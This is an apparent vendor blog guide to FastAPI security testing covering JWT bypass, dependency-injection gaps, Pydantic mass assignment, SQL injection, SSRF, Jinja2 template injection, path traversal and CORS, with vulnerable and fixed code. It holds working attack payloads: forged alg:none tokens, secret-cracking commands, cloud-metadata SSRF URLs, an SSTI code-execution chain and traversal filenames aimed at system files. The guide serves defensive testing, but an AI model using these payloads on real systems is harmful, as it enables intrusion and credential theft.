FastAPI Security Testing: Authentication, Injection, and Pydantic Bypass Vulnerabilities

FastAPI has become the default Python framework for new API projects — its automatic OpenAPI documentation, Pydantic-based validation, and async-native design make it genuinely productive. But the same features that accelerate development introduce security pitfalls that are easy to miss during code review. Pydantic's flexible configuration opens the door to mass assignment. The dependency injection system can leave entire routers unprotected. The built-in /docs endpoint exposes your full API schema to anyone who knows the path.

This guide walks through the vulnerability classes most relevant to FastAPI applications, how to identify them in source code or via black-box testing, and the specific patterns to probe when assessing a FastAPI service in the field.

JWT Authentication Bypass

FastAPI does not ship a JWT implementation — developers typically reach for python-jose, PyJWT, or fastapi-users. Each library has footguns that produce authentication bypass vulnerabilities when not configured correctly.

Algorithm confusion (alg: none / RS256 → HS256 downgrade) The most exploitable JWT flaw: the server accepts tokens signed with "none" or switches from asymmetric to symmetric verification using the public key as the HMAC secret.
# Test 1: alg:none bypass
# Decode an existing valid JWT, change alg to "none", strip the signature
import base64, json

header = base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b"=")
payload = base64.urlsafe_b64encode(json.dumps({"sub":"admin","role":"admin"}).encode()).rstrip(b"=")
token = header.decode() + "." + payload.decode() + "."

# Send it and see if the server accepts it
curl -H "Authorization: Bearer $token" https://target/api/admin/users

# Test 2: RS256 → HS256 confusion
# If the server uses RS256, grab the public key from /openapi.json or JWKS endpoint
# Sign a new token with HS256 using the *public key* as the HMAC secret
# python-jose and early PyJWT versions accept this

Missing Audience Validation

When a FastAPI service omits the audience parameter during token verification, tokens issued for a different service (say, a mobile app) are accepted by the API backend. This matters in microservice architectures where multiple services share the same signing key:

# VULNERABLE — no audience check
from jose import jwt

def get_current_user(token: str):
    payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    # Accepts any valid token regardless of intended audience
    return payload

# SECURE — audience validated
def get_current_user(token: str):
    payload = jwt.decode(
        token,
        SECRET_KEY,
        algorithms=["HS256"],
        audience="api.yourservice.com"  # reject tokens for other services
    )
    return payload

Weak Secret Brute-Force

HS256-signed JWTs are entirely offline-crackable if the secret is weak. During a pentest, capture any JWT from the API and run hashcat or jwt-cracker against it:

# Extract the JWT from an auth response or intercepted request
# Format for hashcat: full JWT as-is (header.payload.signature)

hashcat -a 0 -m 16500 captured.jwt /usr/share/wordlists/rockyou.txt

# john the ripper with a custom wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 captured.jwt

# jwt_tool for comprehensive JWT attacks
pip install jwt_tool
jwt_tool <JWT> -C -d /usr/share/wordlists/rockyou.txt  # crack HS256
jwt_tool <JWT> -X a                                    # alg:none
jwt_tool <JWT> -X s                                    # RS256→HS256 confusion

Grep for weak or hardcoded secrets during code review:

grep -rn "SECRET_KEY\s*=\s*[\"']" .
grep -rn "jwt_secret\s*=\s*[\"']" .
grep -rn "secret.*=.*changeme\|secret.*=.*password\|secret.*=.*secret" . -i

Dependency Injection Security (Depends())

FastAPI's Depends() mechanism is how authentication and authorisation are applied to routes. The pattern is clean when done correctly — but a missing dependency on a router, a shared dependency that is only called for its side effects, or a scope mismatch in OAuth2PasswordBearer can leave routes entirely unprotected.

Missing dependency on router-level registration Developers often apply Depends() to individual routes during development, then refactor to a router — and forget to move the dependency to the router's constructor.
# VULNERABLE — authentication only on some routes, not the router
router = APIRouter(prefix="/admin")

@router.get("/users")            # forgot the dependency
async def list_users(db: Session = Depends(get_db)):
    return db.query(User).all()

@router.delete("/users/{id}")
async def delete_user(id: int,
                      current_user = Depends(get_current_admin),  # only here
                      db: Session = Depends(get_db)):
    ...

# SECURE — dependency applied at router level, all routes inherit it
router = APIRouter(
    prefix="/admin",
    dependencies=[Depends(get_current_admin)]  # every route in this router
)

@router.get("/users")
async def list_users(db: Session = Depends(get_db)):
    return db.query(User).all()

OAuth2PasswordBearer Scope Bypass

FastAPI's OAuth2PasswordBearer only validates that a token is present and parseable — it does not enforce scopes unless you explicitly check them. A token issued with scope: "read" will be accepted by a write endpoint unless the dependency explicitly rejects insufficient scopes:

# VULNERABLE — scope declared but never checked
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token", scopes={"admin": "Admin access"})

@app.delete("/users/{id}")
async def delete_user(id: int, token: str = Depends(oauth2_scheme)):
    # token is present and valid, but scope is never inspected
    ...

# SECURE — scope enforcement
from fastapi.security import SecurityScopes

async def get_current_user(
    security_scopes: SecurityScopes,
    token: str = Depends(oauth2_scheme)
):
    payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    token_scopes = payload.get("scopes", [])
    for scope in security_scopes.scopes:
        if scope not in token_scopes:
            raise HTTPException(status_code=403, detail="Insufficient scope")
    return payload

@app.delete("/users/{id}")
async def delete_user(id: int,
                      current_user = Security(get_current_user, scopes=["admin"])):
    ...

During testing, use a low-privilege token and attempt high-privilege operations. Check whether scope errors return 401/403 or whether the endpoint executes normally:

# Intercept a login response, decode the JWT, note the scopes
# Then hit admin/write endpoints with a read-only token
curl -X DELETE https://target/api/users/1 \
  -H "Authorization: Bearer <read-only-token>"

Pydantic Validation Bypass

Pydantic is FastAPI's input validation layer — but its defaults are configurable, and several configuration choices lead directly to exploitable vulnerabilities.

Mass Assignment via extra="allow"

Pydantic models with model_config = ConfigDict(extra="allow") (Pydantic v2) or class Config: extra = "allow" (Pydantic v1) accept and store any extra fields the client sends. When that model is passed to an ORM update method, the attacker can set fields the developer never intended to expose:

# VULNERABLE — Pydantic v2 with extra="allow"
from pydantic import BaseModel, ConfigDict

class UserUpdate(BaseModel):
    model_config = ConfigDict(extra="allow")  # accepts any field
    name: str
    email: str

@app.put("/users/me")
async def update_me(update: UserUpdate, db: Session = Depends(get_db),
                    current_user = Depends(get_current_user)):
    # If client sends {"name": "Alice", "role": "admin", "is_active": true}
    # update.model_extra contains {"role": "admin", "is_active": true}
    db.query(User).filter(User.id == current_user.id).update(update.dict())
    db.commit()

Test by sending unexpected fields in PUT/PATCH request bodies and checking whether they appear in subsequent GET responses:

# Send extra fields in the update body
curl -X PUT https://target/api/users/me \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"name": "Alice", "role": "admin", "is_superuser": true, "credits": 99999}'

# Then check your profile — did role or is_superuser change?
curl https://target/api/users/me -H "Authorization: Bearer <token>"

JSON Type Coercion Attacks

Pydantic coerces types by default. An integer field will accept the string "1", a boolean field accepts 1, 0, "true", "false", "yes", "on". This matters when downstream comparisons use strict equality:

# VULNERABLE — boolean field with coercion exploited
class PaymentRequest(BaseModel):
    amount: float
    is_test: bool = False  # coerces "yes", "1", "true", 1, etc.

# An attacker sends:
# {"amount": 999.99, "is_test": "yes"}
# Pydantic coerces "yes" → True, bypassing real payment processing

# Grep for boolean fields that gate security decisions
grep -rn "is_admin\|is_superuser\|is_staff\|is_test\|skip_auth" app/ --include="*.py"

Nested Model Injection

Nested Pydantic models can mask injection points. When a top-level model has extra="ignore" but a nested model uses extra="allow", extra fields are accepted through the nested model's namespace:

# Partially vulnerable — nested model leaks extra fields
class Address(BaseModel):
    model_config = ConfigDict(extra="allow")  # dangerous nested config
    street: str
    city: str

class UserCreate(BaseModel):
    name: str
    email: str
    address: Address  # inherits the nested model's permissiveness

# Attacker payload:
# {"name": "Bob", "email": "bob@example.com",
#  "address": {"street": "1 Main St", "city": "Amsterdam",
#               "billing_override": true, "internal_flag": 1}}

SQL Injection via SQLAlchemy ORM

SQLAlchemy's ORM provides parameterised queries by default, but two common patterns break that safety: using text() with f-strings, and raw queries in async routes with the databases package.

text() with f-string interpolation SQLAlchemy's text() function executes raw SQL. When combined with Python f-strings or string concatenation, it bypasses all ORM parameterisation.
# VULNERABLE — f-string inside text()
from sqlalchemy import text

@app.get("/users/search")
async def search_users(q: str, db: AsyncSession = Depends(get_db)):
    result = await db.execute(text(f"SELECT * FROM users WHERE username LIKE '%{q}%'"))
    return result.fetchall()
# Payload: q = %' UNION SELECT username,password,null FROM users --

# SECURE — bound parameters with text()
@app.get("/users/search")
async def search_users(q: str, db: AsyncSession = Depends(get_db)):
    result = await db.execute(
        text("SELECT * FROM users WHERE username LIKE :query"),
        {"query": f"%{q}%"}
    )
    return result.fetchall()

# SECURE — ORM query (always parameterised)
@app.get("/users/search")
async def search_users(q: str, db: AsyncSession = Depends(get_db)):
    result = await db.execute(
        select(User).where(User.username.like(f"%{q}%"))
    )
    return result.scalars().all()

Raw SQL in Async Routes with the databases Package

The databases package (popular in async FastAPI setups before SQLAlchemy added native async support) has a similar footgun:

# VULNERABLE — databases package with string formatting
import databases

database = databases.Database(DATABASE_URL)

@app.get("/products/{category}")
async def get_products(category: str):
    query = "SELECT * FROM products WHERE category = '" + category + "'"
    rows = await database.fetch_all(query=query)
    return rows

# SECURE — named parameters
@app.get("/products/{category}")
async def get_products(category: str):
    query = "SELECT * FROM products WHERE category = :category"
    rows = await database.fetch_all(query=query, values={"category": category})
    return rows

Code review search commands for SQLAlchemy injection patterns:

grep -rn "text(f[\"']" . --include="*.py"
grep -rn "text(\".*{" . --include="*.py"
grep -rn "execute(f[\"']" . --include="*.py"
grep -rn "fetch_all.*+\|fetch_one.*+" . --include="*.py"
grep -rn "\.filter(.*f[\"']\|\.where(.*f[\"']" . --include="*.py"

SSRF via httpx and aiohttp

FastAPI's async nature means developers reach for async HTTP clients — httpx and aiohttp are the most common. Both follow redirects by default, resolve DNS at request time, and will happily fetch cloud metadata endpoints if given user-controlled URLs.

# VULNERABLE — user-supplied URL fetched without validation
import httpx

@app.post("/webhooks/test")
async def test_webhook(url: str = Body(...)):
    async with httpx.AsyncClient() as client:
        resp = await client.post(url, json={"test": True})
    return {"status": resp.status_code}

# Also vulnerable — URL in background task (harder to observe)
from fastapi import BackgroundTasks

@app.post("/notifications/register")
async def register(webhook_url: str, background_tasks: BackgroundTasks):
    background_tasks.add_task(send_notification, webhook_url)
    return {"registered": True}

async def send_notification(url: str):
    async with httpx.AsyncClient() as client:
        await client.post(url, json={"event": "test"})

SSRF Payloads for Cloud Environments

# AWS IMDSv1 — no additional headers required
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS IMDSv1 — get role credentials (replace ROLE-NAME)
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# GCP metadata — Metadata-Flavor header required; some apps forward all headers
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Internal service enumeration
http://localhost:8080/admin
http://127.0.0.1:5432/          # PostgreSQL
http://10.0.0.1/internal-api

# Bypass techniques for allowlist-based filters
http://0177.0.0.1/              # Octal IP (127.0.0.1)
http://0x7f000001/              # Hex IP
http://2130706433/              # Decimal IP
http://127.1/                  # Short form
http://[::1]/                  # IPv6 loopback
http://allowed.domain.com@169.254.169.254/  # URL authority confusion

Webhook URL Validation Bypass

Allowlist-based SSRF defences in Python are frequently bypassable. DNS rebinding and redirect chains are the most reliable:

# DNS rebinding: register a domain that resolves to an external IP initially,
# then switches to 169.254.169.254 after the allowlist check passes

# Redirect chain: host a redirect on an allowed domain
# GET https://your-trusted-redirect.example.com/r?to=http://169.254.169.254/...
# → 301 Location: http://169.254.169.254/latest/meta-data/

# httpx follows redirects by default — check follow_redirects=False in the code
grep -rn "follow_redirects\|allow_redirects" . --include="*.py"
grep -rn "httpx.get\|httpx.post\|httpx.AsyncClient" . --include="*.py"
grep -rn "aiohttp.ClientSession" . --include="*.py"

Server-Side Template Injection in Jinja2

Some FastAPI applications serve HTML admin pages or email templates using Jinja2 directly. When user input is embedded into a template string at render time — rather than passed as a context variable — Jinja2's expression evaluation makes it a server-side template injection vulnerability:

Template injection via dynamic template construction Passing user input as part of the template string (not the template context) gives the attacker access to Jinja2's expression evaluator and Python's object hierarchy.
# VULNERABLE — user input rendered AS template, not IN template
from jinja2 import Template
from fastapi.templating import Jinja2Templates

@app.get("/preview")
async def preview(name: str):
    # name is part of the template source, not the context
    tmpl = Template(f"Hello {name}, welcome to our platform.")
    return HTMLResponse(tmpl.render())
    # Payload: name={{7*7}} → "Hello 49, welcome..."
    # Payload: name={{''.__class__.__mro__[1].__subclasses__()}}

# SECURE — user input passed as context variable only
templates = Jinja2Templates(directory="templates")

@app.get("/preview")
async def preview(request: Request, name: str):
    return templates.TemplateResponse("welcome.html", {
        "request": request,
        "name": name  # rendered as {{ name }} in the template — safely escaped
    })

SSTI test payloads for Jinja2:

{{7*7}}                          # basic math — confirms SSTI if returns 49
{{config}}                       # dump Flask/FastAPI config object
{{''.__class__.__mro__}}         # Python MRO traversal
{{''.__class__.__mro__[1].__subclasses__()}}  # list all subclasses
# RCE via subprocess.Popen (find its index in subclasses list):
{{''.__class__.__mro__[1].__subclasses__()[INDEX](['id'],stdout=-1).communicate()}}

Path Traversal in File Upload Endpoints

FastAPI's UploadFile handler passes the client-supplied filename directly as a string. When that filename is used to construct a storage path without sanitisation, directory traversal allows writing files outside the intended upload directory:

# VULNERABLE — filename used directly from client
import os
from fastapi import UploadFile

@app.post("/upload")
async def upload_file(file: UploadFile):
    dest = os.path.join("/var/app/uploads/", file.filename)
    # file.filename = "../../etc/cron.d/backdoor"
    # dest = "/etc/cron.d/backdoor"
    with open(dest, "wb") as f:
        content = await file.read()
        f.write(content)
    return {"filename": file.filename}

# SECURE — strip path components and generate a safe name
import uuid
from pathlib import Path

UPLOAD_DIR = Path("/var/app/uploads")

@app.post("/upload")
async def upload_file(file: UploadFile):
    # Option 1: ignore the original filename entirely
    safe_name = f"{uuid.uuid4()}{Path(file.filename).suffix}"

    # Option 2: sanitise if you must preserve the name
    safe_name = Path(file.filename).name  # strips directory components
    if ".." in safe_name or safe_name.startswith("/"):
        raise HTTPException(400, "Invalid filename")

    dest = UPLOAD_DIR / safe_name
    # Verify the resolved path is still inside UPLOAD_DIR
    if not dest.resolve().is_relative_to(UPLOAD_DIR.resolve()):
        raise HTTPException(400, "Path traversal detected")

    dest.write_bytes(await file.read())
    return {"filename": safe_name}

Path traversal test payloads for file upload endpoints:

# In multipart form uploads, set the filename field to:
../../etc/passwd
../../../tmp/test.txt
....//....//etc/passwd          # double-encoded traversal
%2e%2e%2f%2e%2e%2fetc%2fpasswd  # URL-encoded
..%252f..%252fetc%252fpasswd    # double URL-encoded

# Using curl to test:
curl -X POST https://target/api/upload \
  -F "file=@local.txt;filename=../../etc/cron.d/backdoor"

Background Task Security

FastAPI's BackgroundTasks runs after the response is returned, in the same process context as the request handler. This creates two security issues: background tasks run with whatever permissions the application process holds (no privilege drop), and GET endpoints that trigger background tasks can be called without CSRF protection since browsers will preload GET URLs.

# DANGEROUS PATTERN — state-changing GET endpoint with background task
@app.get("/activate-account")
async def activate(token: str, background_tasks: BackgroundTasks):
    background_tasks.add_task(activate_user_account, token)
    # GET endpoint that changes state — CSRF via image tag or link
    # <img src="https://target/activate-account?token=VICTIM_TOKEN">
    return {"message": "Activating..."}

# ALSO RISKY — background task runs with full DB/filesystem access
@app.post("/reports/generate")
async def generate_report(report_type: str, background_tasks: BackgroundTasks,
                           current_user = Depends(get_current_user)):
    background_tasks.add_task(run_report, report_type)
    # run_report executes with the application's full DB permissions
    # report_type is user-controlled — injection risk in the task itself
    return {"status": "queued"}

During a security review, identify GET endpoints that perform mutations, and trace what data flows from request parameters into background task arguments:

grep -rn "background_tasks.add_task" . --include="*.py"
grep -rn "@app.get\|@router.get" . --include="*.py" | grep -v "# read-only"
# Look for GET routes that write to DB, send emails, or trigger external calls

CORS Misconfiguration

FastAPI's CORSMiddleware has a well-documented but persistently misunderstood constraint: you cannot set allow_origins=["*"] together with allow_credentials=True. Browsers refuse this combination, so developers "fix" it by using a wildcard pattern differently — or by reflecting the request's Origin header back as the allowed origin, which is functionally equivalent to a wildcard but bypasses the browser check.

The allow_origins=["*"] + allow_credentials=True mistake FastAPI will silently serve CORS headers that no browser will honour. Developers work around this by reflecting the Origin header — which allows any site to make credentialed cross-origin requests.
# VULNERABLE — wildcard + credentials (browsers reject this, so developers "fix" it)
from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,   # contradicts the wildcard — browser blocks it
    allow_methods=["*"],
    allow_headers=["*"],
)

# ALSO VULNERABLE — reflecting Origin header to "fix" the above
@app.middleware("http")
async def cors_fix(request: Request, call_next):
    response = await call_next(request)
    origin = request.headers.get("origin", "")
    response.headers["Access-Control-Allow-Origin"] = origin  # reflects any origin
    response.headers["Access-Control-Allow-Credentials"] = "true"
    return response

# SECURE — explicit allowlist
app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://app.yourcompany.com", "https://admin.yourcompany.com"],
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
)

Test for CORS misconfiguration:

# Send a credentialed CORS preflight from an unexpected origin
curl -s -X OPTIONS https://target/api/users \
  -H "Origin: https://evil.attacker.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization" \
  -v 2>&1 | grep -i "access-control"

# If Access-Control-Allow-Origin: https://evil.attacker.com is returned
# and Access-Control-Allow-Credentials: true — the application is exploitable

# Burp Suite: Repeater → add Origin header → check response headers

Debug Mode and OpenAPI Schema Exposure

FastAPI automatically generates and serves /docs (Swagger UI), /redoc, and /openapi.json by default. In production, these endpoints expose your complete API surface: every route, all parameters, authentication requirements, and response schemas. Sensitive internal endpoints, parameter names that reveal database column names, and undocumented fields all become visible.

OpenAPI schema as a recon tool Before probing a FastAPI service, fetch /openapi.json. It maps every route, HTTP method, parameter, authentication scheme, and response model — eliminating the need for route fuzzing.
# Fetch the full API schema — works on any default FastAPI deployment
curl https://target/openapi.json | python3 -m json.tool

# Extract all routes from the schema
curl -s https://target/openapi.json | python3 -c "
import json, sys
schema = json.load(sys.stdin)
for path, methods in schema.get('paths', {}).items():
    for method in methods:
        print(f'{method.upper()} {path}')
"

# Look for internal/admin routes that aren't linked from the UI
# Look for parameters with names like user_id, internal_flag, admin_override
# Check security schemes — are any routes missing the securityRequirement field?

Disabling OpenAPI Endpoints in Production

# Disable completely
app = FastAPI(docs_url=None, redoc_url=None, openapi_url=None)

# Or gate behind authentication
from fastapi import Depends

async def verify_internal_token(token: str = Header(...)):
    if token != INTERNAL_DOCS_TOKEN:
        raise HTTPException(403)

app = FastAPI(
    docs_url="/internal/docs",
    redoc_url="/internal/redoc",
    openapi_url="/internal/openapi.json",
)

# Add a dependency to the docs routes — FastAPI doesn't support this natively,
# so serve them only in non-production environments via a startup flag:
import os
app = FastAPI(
    docs_url="/docs" if os.getenv("ENV") != "production" else None,
    redoc_url="/redoc" if os.getenv("ENV") != "production" else None,
)

Security Testing Checklist for FastAPI Applications

Test What to Look For Tool / Method
JWT bypass alg:none, RS256→HS256 confusion, weak HS256 secret jwt_tool, hashcat, python-jose audit
Missing Depends() Router-level vs route-level dependency gaps Code review, unauthenticated requests
Scope bypass OAuth2PasswordBearer without SecurityScopes check Low-privilege token on privileged endpoints
Mass assignment Pydantic extra="allow", ORM update with full model Extra fields in PUT/PATCH bodies
SQL injection text(f"..."), string concat in queries grep, sqlmap, manual payload testing
SSRF httpx/aiohttp with user-supplied URLs Cloud metadata payloads, Burp Collaborator
SSTI Jinja2 Template(f"...{user_input}...") {{7*7}} payload, tplmap
Path traversal UploadFile.filename used in os.path.join ../payload in multipart filename field
CORS misconfiguration Reflected Origin with allow_credentials=True Origin header manipulation, Burp Suite
OpenAPI exposure /docs, /redoc, /openapi.json in production Direct request to default paths

Static Analysis and Code Review Commands

Run these grep patterns against a FastAPI codebase to surface the highest-risk patterns quickly:

# JWT and authentication
grep -rn "algorithms=\[\"none\"\]\|algorithms=\['none'\]" . --include="*.py"
grep -rn "jwt.decode\|jose.jwt.decode" . --include="*.py"
grep -rn "SECRET_KEY\s*=\s*[\"']" . --include="*.py"

# Dependency injection gaps
grep -rn "APIRouter(" . --include="*.py" | grep -v "dependencies="
grep -rn "@router\.\|@app\." . --include="*.py" | grep -v "Depends"

# Pydantic mass assignment
grep -rn "extra.*=.*allow\|extra.*=.*\"allow\"" . --include="*.py"
grep -rn "\.dict()\|\.model_dump()" . --include="*.py"

# SQL injection
grep -rn "text(f[\"']\|text(\".*{" . --include="*.py"
grep -rn "execute.*+\|execute.*%" . --include="*.py"

# SSRF
grep -rn "httpx\.\|aiohttp\.ClientSession" . --include="*.py"
grep -rn "requests\.get\|requests\.post" . --include="*.py"

# File upload
grep -rn "UploadFile\|file\.filename" . --include="*.py"
grep -rn "os\.path\.join.*filename\|open.*filename" . --include="*.py"

# CORS
grep -rn "allow_origins.*\*\|allow_credentials.*True" . --include="*.py"
grep -rn "Access-Control-Allow-Origin.*origin\|Access-Control-Allow-Origin.*headers" . --include="*.py"

# OpenAPI in production
grep -rn "docs_url=None\|openapi_url=None" . --include="*.py"

# Automated scanners
pip install bandit
bandit -r . -ll  # Python security linter

semgrep --config=p/python --config=p/fastapi .

Ironimo runs Kali Linux-powered security scans against your FastAPI services — the same tools a professional pentester uses, available on demand without scheduling a penetration testing engagement.

Start free scan
← Back to blog